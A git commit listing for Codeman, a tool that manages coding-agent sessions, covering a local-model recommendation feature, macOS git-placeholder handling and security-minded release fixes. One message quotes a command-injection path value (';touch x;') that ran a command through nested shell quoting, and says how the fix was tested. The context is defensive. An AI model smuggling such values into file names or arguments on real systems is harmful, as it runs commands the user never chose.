Compare commits

...
Author SHA1 Message Date
Codeman maintainer bce9fde8df Merge branch 'feat/local-model-recommendation' into test/desktop-macbook 2026-11-06 18:00:31 +01:00
Codeman maintainer fec052f402 merge master (1.49.0 and later) into the MacBook test branch
One conflict, in install.sh's help text: both sides extended the same line of
environment variables. Kept both additions.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 18:00:25 +01:00
Codeman maintainer 9479a17c48 feat(desktop): find the Codeman servers running on this Mac and offer to connect
When a Codeman server of this user ran at an address the app could not open
as its default one, the This Mac tab only named host and port and sent the
user to Another machine to type the address again. A second instance beside
the one that answers (a beta, a `codeman web --port 4000` in a terminal) was
not shown at all.

The look at this Mac now works out an address for every listening socket of
this user's Codeman servers (`found_addresses`, pure): 127.0.0.1 for a bind
to loopback or to every interface, `[::1]` when that is the only loopback
socket, the address itself for a bind to one; `https` and the base path come
from `--https` and `--base-url` on the command line. A server at the default
address with no `--base-url` of its own keeps the default URL, since
install.sh's launchd job has the base path in its environment, where `ps`
does not show it. The default address comes first, then the others by port.

Each address other than the default one is asked once, all at the same time,
with no login. The default probe's answer is reused for its own row. When
nothing answers at the default address, the first found server that answers
is still what Open is for, so each gets the probe's usual 5 s; next to a
Codeman that answers they are only listed and get 2 s. `LocalStatus.found`
replaces `elsewhere`.

The tab lists them: "Codeman is already running on this Mac." with a row
each when none answers at the default address, and "Also running on this
Mac" under Open otherwise. A row has the address, the version and Connect,
or the reason the app cannot open it. Connect fills the address in and runs
the page's one connect(), so the app checks it, uses its saved login and
remembers it like an address typed under Another machine. Nothing connects
by itself, and a refused connect from a row never arms the reopen that Open
has for a starting server.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 17:39:12 +01:00
Codeman maintainer 66ca92f7cf docs(local-model): label the route experimental and write down the rules
- docs/api-reference.md: GET /api/local-model is labeled experimental
  until the step that sets a model up ships, so its payload is not a
  stable /api/v1 contract one stage before that step changes it. The
  section now describes the verdict as judged, the three sentences of
  the memory reason, the notes, the speed rounding and which size to
  show as the installed memory. The os-fallback description was wrong:
  the free disk space is reported there too.
- docs/versioning-policy.md: the route is listed under the experimental
  surfaces.
- docs/wiki/Settings-Reference.md: App Settings > Models > Model on this
  Mac, in the words of a user.
- CLAUDE.md and src/web/CLAUDE.md: the invariants the code relies on
  (read-only, the probe, harness rows as data, the meaning of limited,
  the word Recommended, one unit, labels from the payload, when the
  card and the group show).

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 17:38:12 +01:00
Codeman maintainer 8281045cf2 fix(local-model): say what is true of the Mac, and why a model is missing
Review fixes for the read-only recommendation and its card.

Recommendation (pure):
- `limited` is now a statement about the Mac: no model with 12 billion
  parameters or more fits. It is judged on everything that fits, before
  the disk filter and whatever the pick is. A 32 or 36 GB Mac whose pick
  is a 9B model no longer reads "This Mac can run a small model" above a
  list of 20B, 27B and 35B models, and knowing the chip no longer lowers
  the verdict. A small pick under `ok` carries a note that says so.
- A model that fits the memory but has no room on the disk is no longer
  dropped in silence: the best-ranked one is named in a note with the GB
  that are missing. A full disk cannot turn a 48 GB Mac into a
  small-model Mac.
- "Models fit, but not at a context a harness needs" has its own
  sentence with the budget and the need, worded as an estimate. The
  16 GB Mac mini misses by 1.3 points (10.3 of 10.4 GB) and was told
  flatly that its memory is too little, the sentence of an 8 GB Mac.
- The installed memory is named by the size the Mac is sold as (48, not
  51.5): the hardware line and the memory sentence. Every computed size
  stays decimal GB from the one formatter. An unknown memory size is no
  longer reported as "0.0 GB".
- Slow is graded on the unrounded speed: 9.95 to 9.9996 tokens per
  second printed as 10 and read ok.
- The disk sentence names the 10 GiB that must stay free, so its
  numbers add up for the reader.

Card and Settings group:
- The Settings group "Model on this Mac" is hidden on a server that is
  not a Mac, and until the first answer says it is one.
- Only `403 FORBIDDEN` is a refusal. `403 PASSWORD_CHANGE_REQUIRED`
  (an admin who must change the password) is a failed request and is
  asked again, so that admin no longer loses the card until a reload.
- Each fit and speed label carries what it measures as its tooltip and
  accessible name, an alternative with a speed estimate prints it, and
  the count beside "Other models that fit" is gone (it was the number
  of rows, capped at four, not the number of models that fit).
- The line saying nothing can be set up yet sits right under the pick,
  in the colour of every other line (it was 3.9:1), and says whose step
  it is.
- The dismissal key is named for this stage, so hiding the read-only
  card does not hide the install offer later.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 17:37:53 +01:00
Codeman maintainer 4739542397 chore(local-model): drop build-time wording from two comments
The label list was "frozen for the parallel build" and the card's test said
the route answers 501: both were true while the pieces were written side by
side and are not any more. Comments only.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:30:59 +01:00
Codeman maintainer 58e20cf613 docs(api): document GET /api/local-model
A "Local model recommendation" section in the API reference: the read-only
route, its admin gate in multi-user mode, why a failed probe is a 200, and
every field of { hardware, recommendation, catalogUpdated }, including that a
size travels as bytes and as decimal GB text.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:28:04 +01:00
Codeman maintainer 1976431ce6 feat(local-model): welcome card and App Settings row for the model on this Mac
The read-only face of GET /api/local-model: what the Mac the server runs on
can run as a local coding model.

- local-model-ui.js: one builder paints both containers from the same
  payload: the hardware line, the server's headline, the pick with its numbers
  (context, download, memory need against the budget, speed), the server's
  notes, the other models that fit with their Good, Tight, Slow or Speed
  unknown labels, and one line saying that setting it up from Codeman is the
  next step and is not built yet.
- The welcome card ships hidden and shows only once the server answered for a
  Mac. It stays hidden for not-macos, for a refused request (a non-admin in
  multi-user mode) and after "Hide", a per-device localStorage key. The App
  Settings group "Model on this Mac" (Models) carries the loading and failure
  sentences and is the way back after a Hide.
- Every dynamic string goes in through textContent, both containers are
  data-i18n-skip and the module translates its own sentences, repainting on a
  language change. Sizes are printed as sent. Labels and harness names come
  from the payload: the module names no CLI and the word "Recommended" is not
  in it.
- One request a minute at most, shared while in flight; a failed refresh keeps
  the last answer on screen.
- i18n.js: zh-CN entries for the module's strings and for every server label.
- frontend-cli-no-id-branching.test.ts scans the new module.

Tests: test/local-model-ui.test.ts (JSDOM over the real markup),
test/local-model-i18n.test.ts.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:28:04 +01:00
Codeman maintainer 34e95ceb62 feat(local-model): GET /api/local-model and the harness facts
The read-only route behind the recommendation, and the one module that reads
the CLI registry for it.

- harness-facts.ts: one fact per catalogue harness row, resolved in the CLI
  registry at call time: the registry's label, `installed` from the existing
  availability probe (asked once per build), `installable` for a stock CLI
  whose install command for this platform needs no administrator rights, and
  `acceptsModelId`, the test a custom model launch applies to the model id.
  A row whose CLI is unknown, disabled or has no custom model mechanism gets
  no fact. No CLI id is compared with a literal.
- routes/local-model-routes.ts: answers { hardware, recommendation,
  catalogUpdated } in the usual envelope and reformats nothing. Admin only in
  multi-user mode (403), checked before anything is probed. A failed probe is
  an answer (200, the hardware's `source` says what was read); a 500 is left
  for a fault in the catalogue, the harness facts or recommend(). It writes no
  file and reads no setting.

Tests: test/local-model-harness-facts.test.ts,
test/routes/local-model-routes.test.ts (app.inject(), no port; the temp HOME
is byte-identical before and after the requests).

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:27:49 +01:00
Codeman maintainer 92c20fe572 feat(local-model): hardware probe, model catalogue and the pure recommendation
The core of the read-only recommendation: what this Mac is, what the catalogue
knows, and which model fits. Nothing is downloaded, installed or written.

- hardware.ts: one bounded async spawn of /usr/sbin/sysctl with seven keys,
  without -n, parsed as "key: value" lines by the pure parseSysctl(). Free disk
  of the data dir through statfs behind the bounded path probe. Fallbacks from
  node:os, a 60 s cache, never throws, never system_profiler. A wired limit of
  0 means "not set".
- local-model-catalog.ts: seven models, three harness rows (pi gated) and the
  chips table as a compiled constant, validated by a Zod schema on first use.
  No override file. Model ids are name:tag in lowercase without a slash; every
  model carries paramsB and an (empty) tested list. Chip names match on the
  end of the chip string, so 'M4' is not the chip of 'Apple M4 Pro'.
- recommend.ts: device budget (the wired limit when above 0, else 2/3 of
  memory below 36 GB and 3/4 from 36 GB, less the reserve), need = weights +
  KV cache + 1 GiB + prompt cache, fit good up to 0.85 and tight up to 0.98,
  speed ok, unknown or slow (a chip in no chips row is unknown), and the
  ranking. Verdicts ok, limited (best model under 12 billion parameters) and
  none with its reason. "Recommended" only for a pick with a tested entry for
  this Mac, which no row has today.
- types/local-model.ts: comments brought in line with the code (chip matching,
  budgetShare rounding, a budget of 0 on an Intel Mac).
- cli-registry-no-id-branching.test.ts: the guard also catches a comparison of
  a `cli` field with a CLI id (plus one stray blank line Prettier refused).

Tests: test/local-model-format.test.ts, test/local-model-hardware.test.ts
(the captured output of two real Macs), test/local-model-catalog.test.ts,
test/local-model-recommend.test.ts.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 16:27:33 +01:00
Codeman maintainer 73ce6a1819 feat(local-model): types and module skeleton for the hardware-aware recommendation
The contract three builders code against in parallel. Nothing is recommended
yet: the route answers 501 and the catalogue is empty.

- src/types/local-model.ts: HardwareFacts, the catalogue rows, HarnessFact,
  Candidate, Recommendation, LocalModelStatus, and LOCAL_MODEL_LABELS, the one
  list of sentences the server may put into the payload (the zh-CN dictionary
  is keyed by them).
- src/local-model/format.ts: formatGb, the one place a byte count becomes a
  size a person reads (decimal GB), and memClassGb.
- src/config/local-model-catalog.ts: the Zod schema (model ids are name:tag,
  lowercase, no slash) and an empty stock catalogue. No override file.
- Skeletons with their final signatures: hardware.ts, recommend.ts,
  harness-facts.ts, routes/local-model-routes.ts (injectable dependencies),
  public/local-model-ui.js with its script tag.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 14:56:13 +01:00
Codeman maintainer 9b8531f3d2 fix(macos): never run Apple's placeholder git, which opens the developer tools window
On a Mac without the developer tools, /usr/bin/git is a placeholder: running
it, even as `git --version`, makes macOS open its "install the command line
developer tools" window. The server asked "is git here?" exactly that way on
the first page load (isGitAvailable() from renderIndexHtml), so a no-admin
install on such a Mac ended with that window one second after the server
started, and it would have come back at every start. Found on a new MacBook
on 2026-11-06: the system log names the Codeman server as the parent of that
git process.

One gate now stands in front of every git the server starts
(src/utils/git-availability.ts). On macOS it resolves git on the PATH itself;
when that is the placeholder, `xcode-select -p` must name a developer folder
that holds a git of its own. xcode-select only prints and never opens a
window. Without the tools, git counts as absent and is never started: every
caller gets the ENOENT it already answers with "git is not installed".
A refusal is asked again after a minute, so installing the tools later needs
no server restart for the git features, and isGitAvailable() no longer
memoizes that one refusal.

Gated: the clone and worktree runners, the Git panel's status and fetch, the
update check and repository status, and Read My Mind's workspace signals.
test/git-spawn-gate.test.ts covers the decision and scans src/ for a git spawn
in a file that does not call the gate, with the reviewed list of sites pinned.

Checked for real on macOS 27 (Command Line Tools) and on a Mac with Xcode:
both resolve /usr/bin/git, find the tools and allow git, in 3 to 5 ms. The
refusal itself is covered by the unit tests; it still needs a run on a Mac
without the tools.

Co-Authored-By: Claude Fable 5.1 <noreply@anthropic.com>
2026-11-06 14:26:48 +01:00
Codeman maintainer 84d5c8de52 Merge branch 'feat/graphical-installer' into integrate/desktop-763-with-gui-installer 2026-11-06 13:46:36 +01:00
Codeman maintainer 1157aa9ecd fix(install): say why an added agent failed on a Mac with no other agent
After "Skip for now" there is no other agent, so a failed add hit
install_offered_cli's gate first, and the app showed its first-install text
("re-run the installer") instead of naming the agent and its command. That
is the main path of adding an agent.

run_offered_cli now runs a trusted command and looks again; the gate stays in
install_offered_cli for the install, and `agent` judges its own run. The one
line that executes a trusted command is unchanged.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 13:46:31 +01:00
Codeman maintainer da2f12fdbd merge the agent chooser (feat/graphical-installer) into the integration branch
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 13:25:27 +01:00
Codeman maintainer dd07126dd8 feat(desktop): add a coding agent once Codeman is installed
The agent chooser only appeared during the install, and only on a Mac with
no agent. After "Skip for now", or with Codeman already installed, there was
no screen for it.

The same chooser now works after the install: "Add a coding agent" on the
This Mac tab, "Add a Coding Agent to This Mac..." in the app menu (it also
works from a Codeman page), and after a Skip the app says Codeman has no
agent yet before it opens Codeman.

`install.sh agent <id>` installs one agent and nothing else. It checks that
THAT agent landed: install_offered_cli is fatal only when no CLI is left, so
with another one present a failed install would have reported success.

The app runs it as a run of its own (`gui_install::Run::Agent`), in its own
temporary folder, so `ps` never reads it as "Codeman is being installed". It
may run next to a live server, which an install must refuse, and stops only
for another run. `--no-admin` goes to both `preflight` and `agent`: it decides
what counts as installable, so the two must agree.

CI: the bash 3.2 preflight check never tested anything. Its child run
inherited CODEMAN_INSTALL_SH_LIB and stopped at the sourcing guard, and a
false [[ ]] does not trip set -e on bash 3.2. Both are fixed for that check.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 13:23:56 +01:00
Codeman maintainer e9b2ecd552 ci(release): turn the GitHub release body into a readable page
changesets/action copies a CHANGELOG.md section into the release as it stands,
so a whole release rendered as one bullet behind its commit hash, with
`### Thanks` as literal text and "Minor Changes" as the only real heading.

The Release workflow now rebuilds the body from that section: Thanks first,
then What's new with a heading per change, Fixes, Also in this release and a
compare link, with "Behaviour change:" and "Breaking:" in bold. The release is
titled `Codeman <x.y.z>`; the tag stays `codeman@<x.y.z>`, which is what the
updater and the update toast read.

This cannot be written into CHANGELOG.md instead: `### <Type> Changes` is
hardcoded upstream, and a `## ` line would end the section for changesets/action
and versionSection(). So the changelog keeps its format and the toast is
unaffected. npm has already published when the step runs, so a formatter failure
leaves the changesets text with a warning and the retag still happens.

SECTION_LABELS is now shared with whats-new.mjs so the toast and the page agree
on what counts as a headline. docs/releasing.md records the changeset shape.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 13:11:22 +01:00
Codeman maintainer f66a9a574d ci: publish each release to the MCP registry
The registry does not follow npm, so every release waited on a by-hand
mcp-publisher publish, behind a browser login that expires between
releases.

Release now calls publish-mcp.yml once npm took a release. It signs in
with the workflow's OIDC token, which the registry accepts for the
io.github.Ark0N/ namespace, so it needs no secret and no browser. It skips
a version the registry already has, waits until npm serves a new one, and
can be run by hand with gh workflow run publish-mcp.yml.

The id-token right sits on its own job, which runs nothing from the
repository: it reads server.json and runs one pinned, checksummed binary.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 12:43:32 +01:00
Codeman maintainer a651616907 fix(custom-model): keep the launch model out of the stored config
Quick-start wrote a selection's launchModel into the session's stored
<Mode>Config, which is what a clear falls back to, so a clear relaunched
the CLI with the endpoint's model id on its native backend. Only API
callers can reach that, since no page sends a clear.

The first launch now takes the forced model from the session's selection,
through the same _withCustomModelLaunchModel() the respawn path uses, so
the stored config keeps the model chosen at create. That also carries the
model onto a new tmux session for a selection applied to a running
session, which the create path used to lose.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 12:41:32 +01:00
Codeman maintainer fc25bf5f83 chore: version packages
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 10:44:35 +01:00
Codeman maintainer e9ab694a55 docs: record the file surfaces as the adopted session exception
Owner decision for 1.49.0: a container or ssh tab keeps using this
host's /tmp and paths, with gating planned as a follow-up.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 10:43:46 +01:00
Codeman maintainer 43fc7ea867 chore: reword the #510 line in the 1.49.0 Thanks
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 10:10:08 +01:00
Codeman maintainer c091d3fbad chore: narrow the right-to-left line in the 1.49.0 changeset
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 09:32:00 +01:00
Codeman maintainer 61e3410e83 fix(files): name the worktree switch button before a listing fills it in
The button sat empty in the page while its strip was hidden, which the
mobile accessibility suite counts as a button with no name.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 09:32:00 +01:00
Codeman maintainer 124d576398 test: count an adopted session in the pane history guard
#510 added the adopted case to the app.js condition this guard reads.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 09:32:00 +01:00
Codeman maintainer 12024ccac8 chore: one changeset for the 1.49.0 release
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:50:57 +01:00
Codeman maintainer 0ec3a37bdd fix(files): refuse a .git swapped for a FIFO or symlink at open
classifyDotGit() checked with lstat and then opened by name, so a FIFO
swapped in between the two blocked a threadpool worker. The open itself
now refuses both, and the handle is judged.

Reported on #772.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:49:03 +01:00
Codeman maintainer 9c39b2a9cc Merge #774 head 51264ec0 into the release branch
Takes the contributor's wording for the picker title and the toast, the
preview refresh after the preflight and the clearer 409 text, and keeps
the fuller tests and the invariants paragraph from the release branch.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:48:19 +01:00
Codeman maintainer 7054b7dfa8 fix: tell people to close adopted tabs before downgrading (release review)
1.48.0 reads an adopted tab as an ordinary session and drops every adoption
guard, and nothing in 1.49.0 can change what an older server does, so it takes
a line in the release notes.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:42:02 +01:00
Codeman maintainer 1c2ac33f69 fix: add the changeset for the changeme refusal in Start-Codeman.sh (release review)
A Compose deployment still on the example password can no longer restart or
update through this script, and no changeset said so.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:42:02 +01:00
Codeman maintainer 9714ee79e8 fix: stop the home screen's tmux scan in a hidden tab (release review)
The poll had no hidden-tab gate, and the local scan's 5 s cache sits under the
8 s interval, so a single tab never hit it: every tick was a full socket sweep
(1.1 s and 772 forks on a box with 212 sockets) for a list nobody was reading.

`_foreignPollTick()` is now the one gate for the first load, the timer and the
return to a visible tab. The `visibilitychange` listener is stored and removed
in `stopForeignPolling()`, since this runs on every trip to the home screen.

Checked in real chromium with document.hidden stubbed: 2 polls in 9.5 s visible,
0 in 17.5 s hidden, 1 on return, and a tab opened in the background makes none
until it is shown.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:41:15 +01:00
Codeman maintainer 37dfb73b1e fix: flag a Files panel folder that did not answer the probe (release review)
A subfolder whose bounded probe answered `unknown` came back as `children: []`
with no `incomplete` and `truncated` false, so a dead mount, or a healthy one
slower than the 1.5 s probe on first touch, read as an empty folder and a
search missed it in silence. `unknown` is never `absent` (#516).

Such a folder now goes on the walk's `unread` list, which flags the node and
sets `truncated` in both walks. A folder the filesystem says is gone drops out
quietly as before. The row said "file limit reached", which would be false
here, so it now reads "Not fully scanned" for either reason.

Reproduced on a real disk with a parent at mode 0444, where the child's stat
answers EACCES: the API, the search and the panel all report it.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:41:15 +01:00
Codeman maintainer f2f4952c34 fix: do not call the codeman-named skip the one silent case (release review)
Anything on a Codeman socket is left out with no line too, so the sentence
overclaimed.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:29:56 +01:00
Codeman maintainer 20b62d68b8 fix: translate the Allow network access warning into Chinese (release review)
That description is the only warning that the switch weakens Codex's
sandbox, and it had no zh-CN entry. The test runs the real translator over
the real index.html.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:24:46 +01:00
Codeman maintainer 029378eb98 fix: mention adopting a hand-started tmux session in the READMEs (release review)
The largest new user-facing item was documented only in the wiki.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 24bfabc06e fix: carry the Edit history qualifier into README.zh-CN (release review)
README.md was corrected when remote Edit history shipped. The Chinese line
still said nothing is copied to the Codeman host, while a remote session's
diffs are stored there.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer e3369ae824 fix: name the writable Homebrew exception on the no-admin route (release review)
resolve_admin_mode keeps a non-admin Mac account on the system route when it
can write to Homebrew. The wiki and both READMEs left that out.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer c494ad93df fix: name codexConfig.networkAccess in the API reference (release review)
The field had no mention. It opens the sandbox's network and does not touch
codex's approvals, so it sits beside the sentence about them.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 27850af325 fix: list the two new multi-user restrictions (release review)
Adopting a tmux session is admin-only and Codex Allow network access needs a
grant. The multi-user page listed neither.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 3e5211e18b fix: note the silent skip of codeman-named tmux sessions and two adopted details (release review)
A session named codeman-* or claudeman-* on any socket is dropped with no
note, which contradicted the docs. paneCwd is absent for an adopted session,
and only a claude wrapper reports statusLineExporter.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 1c4cef1ccc fix: say how the git and Edit history routes answer an adopted session (release review)
The adoption section said every git route answers unsupported, but git-diff
and git-fetch-settings answer 400, and the Git status section listed only
remote and docker. Edit history's `adopted` reason was documented nowhere.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:23:43 +01:00
Codeman maintainer 9442ea8cf4 fix: remove the em-dashes this release added (release review)
105 new em-dashes sat in comments, test names and one test fixture from the
foreign tmux adoption work. Replaced by hand with commas, colons or
parentheses, one reading at a time. The fixture now quotes the real refusal
text, which says "It may still be running, try again."

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:20:39 +01:00
Codeman maintainer 9d2f9663cb fix: word the cases-folder refusal for Clone Repo too (release review)
Clone Repo's picker now offers New folder, and with the field empty Browse
opens in the cases folder, so the first press there lands on this refusal.
It pointed at Add Case > Create New, which cannot clone. The sentence has to
read right from every picker that offers the button, so it names both tabs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:11:38 +01:00
Codeman maintainer 436037e0e3 fix: offer New folder in Clone Repo's parent folder picker (release review)
Clone Repo's custom folder became a parent that must already exist (#774),
while its picker still had no New folder button (#761 turned it on for
Create New only). A parent that does not exist yet was refused with no way
to make it from the form, so the same job worked on one tab and dead-ended
on the other.

The test pin that kept Clone off dated from when the field was the exact
target, which could be a folder not yet created. Clone moves to the on side
of that pin, so every picker in the file stays covered.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 08:01:39 +01:00
Devvyn 51264ec0c0 fix(clone): state the empty-target requirement in the already-has-files error 2026-11-06 15:01:00 +08:00
Codeman maintainer ea5f6615c8 fix: name adoption in two refusals an adopted session gets (release review)
The Edit history panel told an adopted session it needed to be a Claude
session outside Docker, and a stop wait blamed the missing Claude Code hooks
on the mode. Both refusals are right, only the words misled. Each now says
Codeman did not start the session, with a zh-CN entry for the panel.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:45:30 +01:00
Codeman maintainer e7c68f1340 fix: let go of an adopted tab whose tmux session ended (release review)
When a foreign session ended, remain-on-exit kept Codeman's own tmux client
on the wrapper's dead pane, so the tab kept its pid and busy, input went
nowhere, both attach routes refused it, and a new session of that name only
led back to the dead tab. paneExit stays out of it by design.

The reconnect watcher's tick now detaches a client from a dead wrapper. That
is an ordinary PTY exit with status 0, so the pid goes null and selecting the
tab runs the attach again: it joins the target if it is back and otherwise
prints the existing guard text. Checked on an isolated instance and in a
headless browser: boot recovery, target gone, target back, view detached, tab
closed, and no restart loop while the tab sits unselected.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:44:22 +01:00
Codeman maintainer 82593a4dd6 fix: keep remote file reads out of the login shell's parser (release review)
The remote file reads ran under the user's login shell, quoted for a POSIX
one. Under fish the probe was a parse error, so previews failed, and csh and
tcsh failed every multi-line read. Wrapping the probe in sh -c as the review
proposed would have opened a hole: fish reads \' inside single quotes as a
quote, so nested shell quoting flips, and a path holding ';touch x;' ran
touch x (measured, also on the existing folder listing). csh and tcsh run a
multi-line command line by line, so a newline in a path did the same.

buildRemoteFileCommand now sends every script as one word of printf text
with those bytes in octal, and only sh reads it. Probe, folder listing, read,
range read and transcript lookup gave the same result under bash, zsh, dash,
fish, tcsh and csh in a throwaway container ($SHELL -c, no real sshd), and 24
hostile paths ran nothing. Plain csh caps a word near 8 KB, noted in the docs.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:40:07 +01:00
Codeman maintainer 800b3f4658 fix: keep foreign probe parsing linear in what it reads (release review)
The parser and classifier run synchronously on the event loop over text a
pane, a container or an ssh host wrote, and one process could stall the
server for every session: 4 s for a 128 KiB argv of `/pi/` tokens, about a
minute for 2 MiB of socket rows.

The `cli.js` launcher rule leaves the signature regex for a per-word scan,
socket rows dedupe through a Set, the process row regex takes the `s` flag
(a bare CR made `$` fail and `\s+` give its spaces back, quadratic in a row),
argv and pane command are cut at FOREIGN_MAX_ARGV_CHARS, and one matcher per
scan answers each distinct argv once, since every pane of a hostile host can
claim the same process tree.

Measured on a private tmux server with the same 131 KiB argv: the largest
event-loop gap went from 3991 ms to 45 ms. The worst scan the caps allow
takes about 80 ms. Socket rows stay uncapped on purpose (see the docs).

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:10:49 +01:00
Codeman maintainer 2c084966f1 fix: refuse one-shot prompts on an adopted session (release review)
`POST /api/sessions/:id/run` had no adopted gate, so while the wrapper had no
attached PTY it spawned `claude -p --dangerously-skip-permissions <prompt>`
in /tmp, a launch every other adopted route refuses.

The route answers INVALID_INPUT, and `runPrompt()` refuses too, which also
covers the legacy `sendInput()` path and leaves no direct spawn in Session
that an adopted session can reach.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:10:49 +01:00
Codeman maintainer 7e70f6f0c3 fix: keep an adopted session off the direct-PTY fallback (release review)
A wrapper that could not start fell back to a direct PTY: `claude
--dangerously-skip-permissions` or a server-account shell in /tmp on this
host, under a tab still carrying the foreign session's name, so someone who
opened an ssh or container session ended up typing into this machine.

startInteractive and startShell now fail the start for an adopted session
and leave `_useMux` on, so selecting the tab tries the wrapper again. The
`error` event carries the reason, since the browser's re-attach does not
read the route's answer. A session with no mux at all is refused the same
way.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 07:10:49 +01:00
Devvyn ec4c901190 test(clone): cover the preview refresh on URL input 2026-11-06 14:00:32 +08:00
Codeman maintainer 9b8f853c94 fix(custom-model): keep a session's own config dir conversation across an endpoint
A claude session on its own CLAUDE_CONFIG_DIR launched on an endpoint with
<isolated>/projects linked to the server's tree. The resume pin looks there, so
apply found no transcript and started a new conversation, and on clear the
endpoint's transcript stayed behind in the server's tree.

The link now goes to <own dir>/projects when the session set one, so the
conversation and what the endpoint run adds stay on the session's own account
across an apply, a clear and a restart. It goes through linkRealHomeEntry(),
which also creates a missing projects folder instead of leaving a dangling
link, in the own dir and in ~/.claude/projects on the default path. A relative
CLAUDE_CONFIG_DIR of the server gets no link, since joining it would create
projects under the server's working directory.

Rule #516: guardSessionConfigDirHome() now covers configDirVar, so all three
apply sites (route, quick-start, boot recovery) probe the own dir bounded before
the apply touches it, and a dir that does not answer falls back to the server's
tree. Under test, HOME is a temp dir and CLAUDE_CONFIG_DIR is stripped by
test/setup.ts, which a new test pins.

Measured on a real Codeman server with a fake claude: apply and re-apply resume
under the isolated dir with the transcript landing in the own dir, a clear
resumes on the own dir, the isolated dir goes while the transcript stays, and the
same holds across a server restart. The documented limits come out.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 06:10:41 +01:00
Codeman maintainer 5559aa8294 fix(remote): start csh and tcsh login shells without -i -l
A remote host whose login shell is tcsh came up on 1.48.0, when the local
sh rewrote ${SHELL:-/bin/sh} to the Codeman host's shell. Since #770 the
launch reaches the far end verbatim and runs tcsh itself, and tcsh refuses
-i -l -c, -l -c and -i -l, so every stock launch left a dead pane.

The login flags are now picked on the far end, in the shape of
loginShellArgs(): set -- -i -l, cleared for csh and tcsh, then
exec "${SHELL:-/bin/sh}" "$@". The text is one brace group, so
cd <path> && { ...; } still starts nothing when the cd fails. bsd-csh takes
every flag combination, csh is listed because it is tcsh on macOS and the BSDs.

The version probe keeps its one statement: the login shell parses it, not
/bin/sh, so fish and tcsh refuse it either way, as they did on 1.48.0.

Measured with the real builder on a real sshd in a throwaway Debian container
(tcsh 6.24.07, bsd-csh, fish 3.6, bash) and through a fake sshd with
tcsh 6.24.10, fish, zsh, dash and bash, a real Codeman server on tcsh included.
The tcsh disclosure comes out of the docs and the changeset. They keep the two
limits 1.48.0 had too: tcsh has no export, so the PATH bootstrap only prints an
error, and the tmux probe needs a command executable, which Debian lacks.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 06:05:53 +01:00
Devvyn a4bd35b704 fix(clone): refresh the preview after the preflight, tidy wording and the invariants paragraph 2026-11-06 12:45:55 +08:00
Codeman maintainer cd0bbc3e3a Merge #774 fix(clone): treat Clone Repo's custom folder as a parent, like Create New
Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
2026-11-06 05:37:14 +01:00
